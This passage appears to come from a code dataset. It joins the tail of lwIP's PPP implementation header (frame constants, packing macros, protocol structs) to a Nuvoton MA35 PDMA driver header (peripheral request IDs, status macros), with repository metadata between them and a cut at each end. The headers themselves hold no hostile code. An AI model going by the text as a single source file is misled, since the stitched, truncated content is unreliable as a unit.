* Copyright (c) 2003 by Marc Boucher, Services Informatiques (MBSI) inc.
* portions Copyright (c) 1997 Global Election Systems Inc.
*
* The authors hereby grant permission to use, copy, modify, distribute,
* and license this software and its documentation for any purpose, provided
* that existing copyright notices are retained in all copies and that this
* notice and the following disclaimer are included verbatim in any
* distributions. No written agreement, license, or royalty fee is required
* for any of the authorized uses.
*
* THIS SOFTWARE IS PROVIDED BY THE CONTRIBUTORS *AS IS* AND ANY EXPRESS OR
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
* IN NO EVENT SHALL THE CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*
******************************************************************************
* REVISION HISTORY
*
* 03-01-01 Marc Boucher <marc@mbsi.ca>
* Ported to lwIP.
* 97-11-05 Guy Lancaster <glanca@gesn.com>, Global Election Systems Inc.
* Original derived from BSD codes.
*****************************************************************************/
#ifndef PPP_IMPL_H
#define PPP_IMPL_H
#include "lwip/opt.h"
#if PPP_SUPPORT /* don't build if not configured for use in lwipopts.h */
#include "ppp.h"
#include "lwip/def.h"
#include "lwip/sio.h"
#include "lwip/stats.h"
#include "lwip/mem.h"
#include "lwip/netif.h"
#include "lwip/sys.h"
#include "lwip/timers.h"
/** Some defines for code we skip compared to the original pppd.
* These are just here to minimise the use of the ugly "#if 0". */
#define PPP_ADDITIONAL_CALLBACKS 0
/** Some error checks to test for unsupported code */
#if CBCP_SUPPORT
#error "CBCP is not supported in lwIP PPP"
#endif
#if CCP_SUPPORT
#error "CCP is not supported in lwIP PPP"
#endif
/*
* pppd.h - PPP daemon global declarations.
*
* Copyright (c) 1989 Carnegie Mellon University.
* All rights reserved.
*
* Redistribution and use in source and binary forms are permitted
* provided that the above copyright notice and this paragraph are
* duplicated in all such forms and that any documentation,
* advertising materials, and other materials related to such
* distribution and use acknowledge that the software was developed
* by Carnegie Mellon University. The name of the
* University may not be used to endorse or promote products derived
* from this software without specific prior written permission.
* THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR
* IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED
* WARRANTIES OF MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE.
*
*/
/*
* ppp_defs.h - PPP definitions.
*
* Copyright (c) 1994 The Australian National University.
* All rights reserved.
*
* Permission to use, copy, modify, and distribute this software and its
* documentation is hereby granted, provided that the above copyright
* notice appears in all copies. This software is provided without any
* warranty, express or implied. The Australian National University
* makes no representations about the suitability of this software for
* any purpose.
*
* IN NO EVENT SHALL THE AUSTRALIAN NATIONAL UNIVERSITY BE LIABLE TO ANY
* PARTY FOR DIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES
* ARISING OUT OF THE USE OF THIS SOFTWARE AND ITS DOCUMENTATION, EVEN IF
* THE AUSTRALIAN NATIONAL UNIVERSITY HAVE BEEN ADVISED OF THE POSSIBILITY
* OF SUCH DAMAGE.
*
* THE AUSTRALIAN NATIONAL UNIVERSITY SPECIFICALLY DISCLAIMS ANY WARRANTIES,
* INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
* AND FITNESS FOR A PARTICULAR PURPOSE. THE SOFTWARE PROVIDED HEREUNDER IS
* ON AN "AS IS" BASIS, AND THE AUSTRALIAN NATIONAL UNIVERSITY HAS NO
* OBLIGATION TO PROVIDE MAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS,
* OR MODIFICATIONS.
*/
#define TIMEOUT(f, a, t) do { sys_untimeout((f), (a)); sys_timeout((t)*1000, (f), (a)); } while(0)
#define UNTIMEOUT(f, a) sys_untimeout((f), (a))
/*
* Constants and structures defined by the internet system,
* Per RFC 790, September 1981, and numerous additions.
*/
/*
* The basic PPP frame.
*/
#define PPP_HDRLEN 4 /* octets for standard ppp header */
#define PPP_FCSLEN 2 /* octets for FCS */
/*
* Significant octet values.
*/
#define PPP_ALLSTATIONS 0xff /* All-Stations broadcast address */
#define PPP_UI 0x03 /* Unnumbered Information */
#define PPP_FLAG 0x7e /* Flag Sequence */
#define PPP_ESCAPE 0x7d /* Asynchronous Control Escape */
#define PPP_TRANS 0x20 /* Asynchronous transparency modifier */
/*
* Protocol field values.
*/
#define PPP_IP 0x21 /* Internet Protocol */
#define PPP_AT 0x29 /* AppleTalk Protocol */
#define PPP_VJC_COMP 0x2d /* VJ compressed TCP */
#define PPP_VJC_UNCOMP 0x2f /* VJ uncompressed TCP */
#define PPP_COMP 0xfd /* compressed packet */
#define PPP_IPCP 0x8021 /* IP Control Protocol */
#define PPP_ATCP 0x8029 /* AppleTalk Control Protocol */
#define PPP_CCP 0x80fd /* Compression Control Protocol */
#define PPP_LCP 0xc021 /* Link Control Protocol */
#define PPP_PAP 0xc023 /* Password Authentication Protocol */
#define PPP_LQR 0xc025 /* Link Quality Report protocol */
#define PPP_CHAP 0xc223 /* Cryptographic Handshake Auth. Protocol */
#define PPP_CBCP 0xc029 /* Callback Control Protocol */
/*
* Values for FCS calculations.
*/
#define PPP_INITFCS 0xffff /* Initial FCS value */
#define PPP_GOODFCS 0xf0b8 /* Good final FCS value */
#define PPP_FCS(fcs, c) (((fcs) >> 8) ^ fcstab[((fcs) ^ (c)) & 0xff])
/*
* Extended asyncmap - allows any character to be escaped.
*/
typedef u_char ext_accm[32];
/*
* What to do with network protocol (NP) packets.
*/
enum NPmode {
NPMODE_PASS, /* pass the packet through */
NPMODE_DROP, /* silently drop the packet */
NPMODE_ERROR, /* return an error */
NPMODE_QUEUE /* save it up for later. */
};
/*
* Inline versions of get/put char/short/long.
* Pointer is advanced; we assume that both arguments
* are lvalues and will already be in registers.
* cp MUST be u_char *.
*/
#define GETCHAR(c, cp) { \
(c) = *(cp)++; \
}
#define PUTCHAR(c, cp) { \
*(cp)++ = (u_char) (c); \
}
#define GETSHORT(s, cp) { \
(s) = *(cp); (cp)++; (s) <<= 8; \
(s) |= *(cp); (cp)++; \
}
#define PUTSHORT(s, cp) { \
*(cp)++ = (u_char) ((s) >> 8); \
*(cp)++ = (u_char) (s & 0xff); \
}
#define GETLONG(l, cp) { \
(l) = *(cp); (cp)++; (l) <<= 8; \
(l) |= *(cp); (cp)++; (l) <<= 8; \
(l) |= *(cp); (cp)++; (l) <<= 8; \
(l) |= *(cp); (cp)++; \
}
#define PUTLONG(l, cp) { \
*(cp)++ = (u_char) ((l) >> 24); \
*(cp)++ = (u_char) ((l) >> 16); \
*(cp)++ = (u_char) ((l) >> 8); \
*(cp)++ = (u_char) (l); \
}
#define INCPTR(n, cp) ((cp) += (n))
#define DECPTR(n, cp) ((cp) -= (n))
#define BCMP(s0, s1, l) memcmp((u_char *)(s0), (u_char *)(s1), (l))
#define BCOPY(s, d, l) MEMCPY((d), (s), (l))
#define BZERO(s, n) memset(s, 0, n)
#if PPP_DEBUG
#define PRINTMSG(m, l) { m[l] = '\0'; LWIP_DEBUGF(LOG_INFO, ("Remote message: %s\n", m)); }
#else /* PPP_DEBUG */
#define PRINTMSG(m, l)
#endif /* PPP_DEBUG */
/*
* MAKEHEADER - Add PPP Header fields to a packet.
*/
#define MAKEHEADER(p, t) { \
PUTCHAR(PPP_ALLSTATIONS, p); \
PUTCHAR(PPP_UI, p); \
PUTSHORT(t, p); }
/************************
*** PUBLIC DATA TYPES ***
************************/
/*
* The following struct gives the addresses of procedures to call
* for a particular protocol.
*/
struct protent {
u_short protocol; /* PPP protocol number */
/* Initialization procedure */
void (*init) (int unit);
/* Process a received packet */
void (*input) (int unit, u_char *pkt, int len);
/* Process a received protocol-reject */
void (*protrej) (int unit);
/* Lower layer has come up */
void (*lowerup) (int unit);
/* Lower layer has gone down */
void (*lowerdown) (int unit);
/* Open the protocol */
void (*open) (int unit);
/* Close the protocol */
void (*close) (int unit, char *reason);
#if PPP_ADDITIONAL_CALLBACKS
/* Print a packet in readable form */
int (*printpkt) (u_char *pkt, int len,
void (*printer) (void *, char *, ...),
void *arg);
/* Process a received data packet */
void (*datainput) (int unit, u_char *pkt, int len);
#endif /* PPP_ADDITIONAL_CALLBACKS */
int enabled_flag; /* 0 if protocol is disabled */
char *name; /* Text name of protocol */
#if PPP_ADDITIONAL_CALLBACKS
/* Check requested options, assign defaults */
void (*check_options) (u_long);
/* Configure interface for demand-dial */
int (*demand_conf) (int unit);
/* Say whether to bring up link for this pkt */
int (*active_pkt) (u_char *pkt, int len);
#endif /* PPP_ADDITIONAL_CALLBACKS */
};
/*
* The following structure records the time in seconds since
* the last NP packet was sent or received.
*/
struct ppp_idle {
u_short xmit_idle; /* seconds since last NP packet sent */
u_short recv_idle; /* seconds since last NP packet received */
};
struct ppp_settings {
u_int disable_defaultip : 1; /* Don't use hostname for default IP addrs */
u_int auth_required : 1; /* Peer is required to authenticate */
u_int explicit_remote : 1; /* remote_name specified with remotename opt */
u_int refuse_pap : 1; /* Don't wanna auth. ourselves with PAP */
u_int refuse_chap : 1; /* Don't wanna auth. ourselves with CHAP */
u_int usehostname : 1; /* Use hostname for our_name */
u_int usepeerdns : 1; /* Ask peer for DNS adds */
u_short idle_time_limit; /* Shut down link if idle for this long */
int maxconnect; /* Maximum connect time (seconds) */
char user [MAXNAMELEN + 1]; /* Username for PAP */
char passwd [MAXSECRETLEN + 1]; /* Password for PAP, secret for CHAP */
char our_name [MAXNAMELEN + 1]; /* Our name for authentication purposes */
char remote_name[MAXNAMELEN + 1]; /* Peer's name for authentication */
};
/*****************************
*** PUBLIC DATA STRUCTURES ***
*****************************/
/* Buffers for outgoing packets. */
extern u_char outpacket_buf[NUM_PPP][PPP_MRU+PPP_HDRLEN];
extern struct ppp_settings ppp_settings;
extern struct protent *ppp_protocols[]; /* Table of pointers to supported protocols */
/***********************
*** PUBLIC FUNCTIONS ***
***********************/
/*
* Write n characters to a ppp link.
* RETURN: >= 0 Number of characters written, -1 Failed to write to device.
*/
int pppWrite(int pd, const u_char *s, int n);
void pppInProcOverEthernet(int pd, struct pbuf *pb);
struct pbuf *pppSingleBuf(struct pbuf *p);
void pppLinkTerminated(int pd);
void pppLinkDown(int pd);
/* Configure i/f transmit parameters */
void ppp_send_config (int, u16_t, u32_t, int, int);
/* Set extended transmit ACCM */
void ppp_set_xaccm (int, ext_accm *);
/* Configure i/f receive parameters */
void ppp_recv_config (int, int, u32_t, int, int);
/* Find out how long link has been idle */
int get_idle_time (int, struct ppp_idle *);
/* Configure VJ TCP header compression */
int sifvjcomp (int, int, u8_t, u8_t);
/* Configure i/f down (for IP) */
int sifup (int);
/* Set mode for handling packets for proto */
int sifnpmode (int u, int proto, enum NPmode mode);
/* Configure i/f down (for IP) */
int sifdown (int);
/* Configure IP addresses for i/f */
int sifaddr (int, u32_t, u32_t, u32_t, u32_t, u32_t);
/* Reset i/f IP addresses */
int cifaddr (int, u32_t, u32_t);
/* Create default route through i/f */
int sifdefaultroute (int, u32_t, u32_t);
/* Delete default route through i/f */
int cifdefaultroute (int, u32_t, u32_t);
/* Get appropriate netmask for address */
u32_t GetMask (u32_t);
#endif /* PPP_SUPPORT */
#endif /* PPP_IMPL_H */
|
c1893bbafac43c7226ba4f0effe73f808a4a2f74
|
99bdb3251fecee538e0630f15f6574054dfc1468
|
/bsp/nuvoton/libraries/ma35/StdDriver/inc/nu_pdma.h
|
d50726a8bf79e1f3c769dcdda4471094f5218673
|
[
"Apache-2.0",
"Zlib",
"LicenseRef-scancode-proprietary-license",
"MIT",
"BSD-3-Clause",
"X11",
"BSD-4-Clause-UC",
"LicenseRef-scancode-unknown-license-reference"
] |
permissive
|
RT-Thread/rt-thread
|
03a7c52c2aeb1b06a544143b0e803d72f47d1ece
|
3602f891211904a27dcbd51e5ba72fefce7326b2
|
refs/heads/master
| 2023-09-01T04:10:20.295801
| 2023-08-31T16:20:55
| 2023-08-31T16:20:55
| 7,408,108
| 9,599
| 5,805
|
Apache-2.0
| 2023-09-14T13:37:26
| 2013-01-02T14:49:21
|
C
|
UTF-8
|
C
| false
| false
| 21,595
|
h
|
nu_pdma.h
|
/**************************************************************************//**
* @file nu_pdma.h
* @brief PDMA driver header file
*
* SPDX-License-Identifier: Apache-2.0
* @copyright (C) 2020 Nuvoton Technology Corp. All rights reserved.
*****************************************************************************/
#ifndef __NU_PDMA_H__
#define __NU_PDMA_H__
#ifdef __cplusplus
extern "C"
{
#endif
/** @addtogroup Standard_Driver Standard Driver
@{
*/
/** @addtogroup PDMA_Driver PDMA Driver
@{
*/
/** @addtogroup PDMA_EXPORTED_CONSTANTS PDMA Exported Constants
@{
*/
/*---------------------------------------------------------------------------------------------------------*/
/* Operation Mode Constant Definitions */
/*---------------------------------------------------------------------------------------------------------*/
#define PDMA_OP_STOP 0x00000000UL /*!<DMA Stop Mode \hideinitializer */
#define PDMA_OP_BASIC 0x00000001UL /*!<DMA Basic Mode \hideinitializer */
#define PDMA_OP_SCATTER 0x00000002UL /*!<DMA Scatter-gather Mode \hideinitializer */
/*---------------------------------------------------------------------------------------------------------*/
/* Data Width Constant Definitions */
/*---------------------------------------------------------------------------------------------------------*/
#define PDMA_WIDTH_8 0x00000000UL /*!<DMA Transfer Width 8-bit \hideinitializer */
#define PDMA_WIDTH_16 0x00001000UL /*!<DMA Transfer Width 16-bit \hideinitializer */
#define PDMA_WIDTH_32 0x00002000UL /*!<DMA Transfer Width 32-bit \hideinitializer */
/*---------------------------------------------------------------------------------------------------------*/
/* Address Attribute Constant Definitions */
/*---------------------------------------------------------------------------------------------------------*/
#define PDMA_SAR_INC 0x00000000UL /*!<DMA SAR increment \hideinitializer */
#define PDMA_SAR_FIX 0x00000300UL /*!<DMA SAR fix address \hideinitializer */
#define PDMA_DAR_INC 0x00000000UL /*!<DMA DAR increment \hideinitializer */
#define PDMA_DAR_FIX 0x00000C00UL /*!<DMA DAR fix address \hideinitializer */
/*---------------------------------------------------------------------------------------------------------*/
/* Burst Mode Constant Definitions */
/*---------------------------------------------------------------------------------------------------------*/
#define PDMA_REQ_SINGLE 0x00000004UL /*!<DMA Single Request \hideinitializer */
#define PDMA_REQ_BURST 0x00000000UL /*!<DMA Burst Request \hideinitializer */
#define PDMA_BURST_128 0x00000000UL /*!<DMA Burst 128 Transfers \hideinitializer */
#define PDMA_BURST_64 0x00000010UL /*!<DMA Burst 64 Transfers \hideinitializer */
#define PDMA_BURST_32 0x00000020UL /*!<DMA Burst 32 Transfers \hideinitializer */
#define PDMA_BURST_16 0x00000030UL /*!<DMA Burst 16 Transfers \hideinitializer */
#define PDMA_BURST_8 0x00000040UL /*!<DMA Burst 8 Transfers \hideinitializer */
#define PDMA_BURST_4 0x00000050UL /*!<DMA Burst 4 Transfers \hideinitializer */
#define PDMA_BURST_2 0x00000060UL /*!<DMA Burst 2 Transfers \hideinitializer */
#define PDMA_BURST_1 0x00000070UL /*!<DMA Burst 1 Transfers \hideinitializer */
/*---------------------------------------------------------------------------------------------------------*/
/* Table Interrupt Disable Constant Definitions */
/*---------------------------------------------------------------------------------------------------------*/
#define PDMA_TBINTDIS_ENABLE (0x0UL<<PDMA_DSCT_CTL_TBINTDIS_Pos) /*!<DMA Table Interrupt Enabled \hideinitializer */
#define PDMA_TBINTDIS_DISABLE (0x1UL<<PDMA_DSCT_CTL_TBINTDIS_Pos) /*!<DMA Table Interrupt Disabled \hideinitializer */
/*---------------------------------------------------------------------------------------------------------*/
/* Peripheral Transfer Mode Constant Definitions */
/*---------------------------------------------------------------------------------------------------------*/
#define PDMA_MEM 0UL /*!<DMA Connect to Memory \hideinitializer */
#define PDMA_UART0_TX 4UL /*!<DMA Connect to UART0_TX \hideinitializer */
#define PDMA_UART0_RX 5UL /*!<DMA Connect to UART0_RX \hideinitializer */
#define PDMA_UART1_TX 6UL /*!<DMA Connect to UART1_TX \hideinitializer */
#define PDMA_UART1_RX 7UL /*!<DMA Connect to UART1_RX \hideinitializer */
#define PDMA_UART2_TX 8UL /*!<DMA Connect to UART2_TX \hideinitializer */
#define PDMA_UART2_RX 9UL /*!<DMA Connect to UART2_RX \hideinitializer */
#define PDMA_UART3_TX 10UL /*!<DMA Connect to UART3_TX \hideinitializer */
#define PDMA_UART3_RX 11UL /*!<DMA Connect to UART3_RX \hideinitializer */
#define PDMA_UART4_TX 12UL /*!<DMA Connect to UART4_TX \hideinitializer */
#define PDMA_UART4_RX 13UL /*!<DMA Connect to UART4_RX \hideinitializer */
#define PDMA_UART5_TX 14UL /*!<DMA Connect to UART5_TX \hideinitializer */
#define PDMA_UART5_RX 15UL /*!<DMA Connect to UART5_RX \hideinitializer */
#define PDMA_UART6_TX 16UL /*!<DMA Connect to UART6_TX \hideinitializer */
#define PDMA_UART6_RX 17UL /*!<DMA Connect to UART6_RX \hideinitializer */
#define PDMA_UART7_TX 18UL /*!<DMA Connect to UART7_TX \hideinitializer */
#define PDMA_UART7_RX 19UL /*!<DMA Connect to UART7_RX \hideinitializer */
#define PDMA_UART8_TX 20UL /*!<DMA Connect to UART8_TX \hideinitializer */
#define PDMA_UART8_RX 21UL /*!<DMA Connect to UART8_RX \hideinitializer */
#define PDMA_UART9_TX 22UL /*!<DMA Connect to UART9_TX \hideinitializer */
#define PDMA_UART9_RX 23UL /*!<DMA Connect to UART9_RX \hideinitializer */
#define PDMA_UART10_TX 24UL /*!<DMA Connect to UART10_TX \hideinitializer */
#define PDMA_UART10_RX 25UL /*!<DMA Connect to UART10_RX \hideinitializer */
#define PDMA_UART11_TX 26UL /*!<DMA Connect to UART11_TX \hideinitializer */
#define PDMA_UART11_RX 27UL /*!<DMA Connect to UART11_RX \hideinitializer */
#define PDMA_UART12_TX 28UL /*!<DMA Connect to UART12_TX \hideinitializer */
#define PDMA_UART12_RX 29UL /*!<DMA Connect to UART12_RX \hideinitializer */
#define PDMA_UART13_TX 30UL /*!<DMA Connect to UART13_TX \hideinitializer */
#define PDMA_UART13_RX 31UL /*!<DMA Connect to UART13_RX \hideinitializer */
#define PDMA_UART14_TX 32UL /*!<DMA Connect to UART14_TX \hideinitializer */
#define PDMA_UART14_RX 33UL /*!<DMA Connect to UART14_RX \hideinitializer */
#define PDMA_UART15_TX 34UL /*!<DMA Connect to UART15_TX \hideinitializer */
#define PDMA_UART15_RX 35UL /*!<DMA Connect to UART15_RX \hideinitializer */
#define PDMA_UART16_TX 36UL /*!<DMA Connect to UART16_TX \hideinitializer */
#define PDMA_UART16_RX 37UL /*!<DMA Connect to UART16_RX \hideinitializer */
#define PDMA_QSPI0_TX 54UL /*!<DMA Connect to QSPI0_TX \hideinitializer */
#define PDMA_QSPI0_RX 55UL /*!<DMA Connect to QSPI0_RX \hideinitializer */
#define PDMA_QSPI1_TX 56UL /*!<DMA Connect to QSPI1_TX \hideinitializer */
#define PDMA_QSPI1_RX 57UL /*!<DMA Connect to QSPI1_RX \hideinitializer */
#define PDMA_SPI0_TX 60UL /*!<DMA Connect to SPI0_TX \hideinitializer */
#define PDMA_SPI0_RX 61UL /*!<DMA Connect to SPI0_RX \hideinitializer */
#define PDMA_SPI1_TX 62UL /*!<DMA Connect to SPI1_TX \hideinitializer */
#define PDMA_SPI1_RX 63UL /*!<DMA Connect to SPI1_RX \hideinitializer */
#define PDMA_SPI2_TX 64UL /*!<DMA Connect to SPI2_TX \hideinitializer */
#define PDMA_SPI2_RX 65UL /*!<DMA Connect to SPI2_RX \hideinitializer */
#define PDMA_SPI3_TX 66UL /*!<DMA Connect to SPI3_TX \hideinitializer */
#define PDMA_SPI3_RX 67UL /*!<DMA Connect to SPI3_RX \hideinitializer */
#define PDMA_I2C0_TX 70UL /*!<DMA Connect to I2C0_TX \hideinitializer */
#define PDMA_I2C0_RX 71UL /*!<DMA Connect to I2C0_RX \hideinitializer */
#define PDMA_I2C1_TX 72UL /*!<DMA Connect to I2C1_TX \hideinitializer */
#define PDMA_I2C1_RX 73UL /*!<DMA Connect to I2C1_RX \hideinitializer */
#define PDMA_I2C2_TX 74UL /*!<DMA Connect to I2C2_TX \hideinitializer */
#define PDMA_I2C2_RX 75UL /*!<DMA Connect to I2C2_RX \hideinitializer */
#define PDMA_I2C3_TX 76UL /*!<DMA Connect to I2C3_TX \hideinitializer */
#define PDMA_I2C3_RX 77UL /*!<DMA Connect to I2C3_RX \hideinitializer */
#define PDMA_I2C4_TX 78UL /*!<DMA Connect to I2C4_TX \hideinitializer */
#define PDMA_I2C4_RX 79UL /*!<DMA Connect to I2C4_RX \hideinitializer */
#define PDMA_I2C5_TX 80UL /*!<DMA Connect to I2C5_TX \hideinitializer */
#define PDMA_I2C5_RX 81UL /*!<DMA Connect to I2C5_RX \hideinitializer */
#define PDMA_I2S0_TX 86UL /*!<DMA Connect to I2S0_TX \hideinitializer */
#define PDMA_I2S0_RX 87UL /*!<DMA Connect to I2S0_RX \hideinitializer */
#define PDMA_I2S1_TX 88UL /*!<DMA Connect to I2S1_TX \ideinitializer */
#define PDMA_I2S1_RX 89UL /*!<DMA Connect to I2S1_RX \ideinitializer */
#define PDMA_TMR0 94UL /*!<DMA Connect to TMR0 \hideinitializer */
#define PDMA_TMR1 95UL /*!<DMA Connect to TMR1 \hideinitializer */
#define PDMA_TMR2 96UL /*!<DMA Connect to TMR2 \hideinitializer */
#define PDMA_TMR3 97UL /*!<DMA Connect to TMR3 \hideinitializer */
#define PDMA_TMR4 98UL /*!<DMA Connect to TMR4 \hideinitializer */
#define PDMA_TMR5 99UL /*!<DMA Connect to TMR5 \hideinitializer */
#define PDMA_TMR6 100UL /*!<DMA Connect to TMR6 \hideinitializer */
#define PDMA_TMR7 101UL /*!<DMA Connect to TMR7 \hideinitializer */
#define PDMA_TMR8 102UL /*!<DMA Connect to TMR8 \hideinitializer */
#define PDMA_TMR9 103UL /*!<DMA Connect to TMR9 \hideinitializer */
#define PDMA_TMR10 104UL /*!<DMA Connect to TMR10 \hideinitializer */
#define PDMA_TMR11 105UL /*!<DMA Connect to TMR11 \hideinitializer */
#define PDMA_EPWM0_P1_RX 110UL /*!<DMA Connect to EPWM0_P1_RX \hideinitializer */
#define PDMA_EPWM0_P2_RX 111UL /*!<DMA Connect to EPWM0_P2_RX \hideinitializer */
#define PDMA_EPWM0_P3_RX 112UL /*!<DMA Connect to EPWM0_P3_RX \hideinitializer */
#define PDMA_EPWM1_P1_RX 113UL /*!<DMA Connect to EPWM1_P1_RX \hideinitializer */
#define PDMA_EPWM1_P2_RX 114UL /*!<DMA Connect to EPWM1_P2_RX \hideinitializer */
#define PDMA_EPWM1_P3_RX 115UL /*!<DMA Connect to EPWM1_P3_RX \hideinitializer */
#define PDMA_EPWM2_P1_RX 116UL /*!<DMA Connect to EPWM2_P1_RX \hideinitializer */
#define PDMA_EPWM2_P2_RX 117UL /*!<DMA Connect to EPWM2_P2_RX \hideinitializer */
#define PDMA_EPWM2_P3_RX 118UL /*!<DMA Connect to EPWM2_P3_RX \hideinitializer */
#define PDMA_EPWM0_CH0_TX 122UL /*!<DMA Connect to EPWM0_CH0_TX \hideinitializer */
#define PDMA_EPWM0_CH1_TX 123UL /*!<DMA Connect to EPWM0_CH1_TX \hideinitializer */
#define PDMA_EPWM0_CH2_TX 124UL /*!<DMA Connect to EPWM0_CH2_TX \hideinitializer */
#define PDMA_EPWM0_CH3_TX 125UL /*!<DMA Connect to EPWM0_CH3_TX \hideinitializer */
#define PDMA_EPWM0_CH4_TX 126UL /*!<DMA Connect to EPWM0_CH4_TX \hideinitializer */
#define PDMA_EPWM0_CH5_TX 127UL /*!<DMA Connect to EPWM0_CH5_TX \hideinitializer */
#define PDMA_EPWM1_CH0_TX 128UL /*!<DMA Connect to EPWM1_CH0_TX \hideinitializer */
#define PDMA_EPWM1_CH1_TX 129UL /*!<DMA Connect to EPWM1_CH1_TX \hideinitializer */
#define PDMA_EPWM1_CH2_TX 130UL /*!<DMA Connect to EPWM1_CH2_TX \hideinitializer */
#define PDMA_EPWM1_CH3_TX 131UL /*!<DMA Connect to EPWM1_CH3_TX \hideinitializer */
#define PDMA_EPWM1_CH4_TX 132UL /*!<DMA Connect to EPWM1_CH4_TX \hideinitializer */
#define PDMA_EPWM1_CH5_TX 133UL /*!<DMA Connect to EPWM1_CH5_TX \hideinitializer */
#define PDMA_EPWM2_CH0_TX 134UL /*!<DMA Connect to EPWM2_CH0_TX \hideinitializer */
#define PDMA_EPWM2_CH1_TX 135UL /*!<DMA Connect to EPWM2_CH1_TX \hideinitializer */
#define PDMA_EPWM2_CH2_TX 136UL /*!<DMA Connect to EPWM2_CH2_TX \hideinitializer */
#define PDMA_EPWM2_CH3_TX 137UL /*!<DMA Connect to EPWM2_CH3_TX \hideinitializer */
#define PDMA_EPWM2_CH4_TX 138UL /*!<DMA Connect to EPWM2_CH4_TX \hideinitializer */
#define PDMA_EPWM2_CH5_TX 139UL /*!<DMA Connect to EPWM2_CH5_TX \hideinitializer */
#define PDMA_EADC0_RX 146UL /*!<DMA Connect to EADC0_RX \hideinitializer */
/*---------------------------------------------------------------------------------------------------------*/
/* Interrupt Type Constant Definitions */
/*---------------------------------------------------------------------------------------------------------*/
#define PDMA_INT_TRANS_DONE 0x00000000UL /*!<Transfer Done Interrupt \hideinitializer */
#define PDMA_INT_TEMPTY 0x00000001UL /*!<Table Empty Interrupt \hideinitializer */
#define PDMA_INT_TIMEOUT 0x00000002UL /*!<Timeout Interrupt \hideinitializer */
/*@}*/ /* end of group PDMA_EXPORTED_CONSTANTS */
/** @addtogroup PDMA_EXPORTED_FUNCTIONS PDMA Exported Functions
@{
*/
/**
* @brief Get PDMA Interrupt Status
*
* @param[in] pdma The pointer of the specified PDMA module
*
* @return None
*
* @details This macro gets the interrupt status.
* \hideinitializer
*/
#define PDMA_GET_INT_STATUS(pdma) ((uint32_t)(pdma->INTSTS))
/**
* @brief Get Transfer Done Interrupt Status
*
* @param[in] pdma The pointer of the specified PDMA module
*
* @return None
*
* @details Get the transfer done Interrupt status.
* \hideinitializer
*/
#define PDMA_GET_TD_STS(pdma) ((uint32_t)(pdma->TDSTS))
/**
* @brief Clear Transfer Done Interrupt Status
*
* @param[in] pdma The pointer of the specified PDMA module
*
* @param[in] u32Mask The channel mask
*
* @return None
*
* @details Clear the transfer done Interrupt status.
* \hideinitializer
*/
#define PDMA_CLR_TD_FLAG(pdma,u32Mask) ((uint32_t)(pdma->TDSTS = (u32Mask)))
/**
* @brief Get Target Abort Interrupt Status
*
* @param[in] pdma The pointer of the specified PDMA module
*
* @return None
*
* @details Get the target abort Interrupt status.
* \hideinitializer
*/
#define PDMA_GET_ABORT_STS(pdma) ((uint32_t)(pdma->ABTSTS))
/**
* @brief Clear Target Abort Interrupt Status
*
* @param[in] pdma The pointer of the specified PDMA module
*
* @param[in] u32Mask The channel mask
*
* @return None
*
* @details Clear the target abort Interrupt status.
* \hideinitializer
*/
#define PDMA_CLR_ABORT_FLAG(pdma,u32Mask) ((uint32_t)(pdma->ABTSTS = (u32Mask)))
/**
* @brief Get Alignment Interrupt Status
*
* @param[in] pdma The pointer of the specified PDMA module
*
* @return None
*
* @details Get Alignment Interrupt status.
* \hideinitializer
*/
#define PDMA_GET_ALIGN_STS(pdma) ((uint32_t)(PDMA->ALIGN))
/**
* @brief Clear Alignment Interrupt Status
*
* @param[in] pdma The pointer of the specified PDMA module
* @param[in] u32Mask The channel mask
*
* @return None
*
* @details Clear the Alignment Interrupt status.
* \hideinitializer
*/
#define PDMA_CLR_ALIGN_FLAG(pdma,u32Mask) ((uint32_t)(pdma->ALIGN = (u32Mask)))
/**
* @brief Clear Timeout Interrupt Status
*
* @param[in] pdma The pointer of the specified PDMA module
* @param[in] u32Ch The selected channel
*
* @return None
*
* @details Clear the selected channel timeout interrupt status.
* \hideinitializer
*/
#define PDMA_CLR_TMOUT_FLAG(pdma,u32Ch) ((uint32_t)(pdma->INTSTS = (1 << ((u32Ch) + 8))))
/**
* @brief Check Channel Status
*
* @param[in] pdma The pointer of the specified PDMA module
* @param[in] u32Ch The selected channel
*
* @retval 0 Idle state
* @retval 1 Busy state
*
* @details Check the selected channel is busy or not.
* \hideinitializer
*/
#define PDMA_IS_CH_BUSY(pdma,u32Ch) ((uint32_t)(pdma->TRGSTS & (1 << (u32Ch)))? 1 : 0)
/**
* @brief Set Source Address
*
* @param[in] pdma The pointer of the specified PDMA module
* @param[in] u32Ch The selected channel
* @param[in] u32Addr The selected address
*
* @return None
*
* @details This macro set the selected channel source address.
* \hideinitializer
*/
#define PDMA_SET_SRC_ADDR(pdma,u32Ch, u32Addr) ((uint32_t)(pdma->DSCT[(u32Ch)].SA = (u32Addr)))
/**
* @brief Set Destination Address
*
* @param[in] pdma The pointer of the specified PDMA module
* @param[in] u32Ch The selected channel
* @param[in] u32Addr The selected address
*
* @return None
*
* @details This macro set the selected channel destination address.
* \hideinitializer
*/
#define PDMA_SET_DST_ADDR(pdma,u32Ch, u32Addr) ((uint32_t)(pdma->DSCT[(u32Ch)].DA = (u32Addr)))
/**
* @brief Set Transfer Count
*
* @param[in] pdma The pointer of the specified PDMA module
* @param[in] u32Ch The selected channel
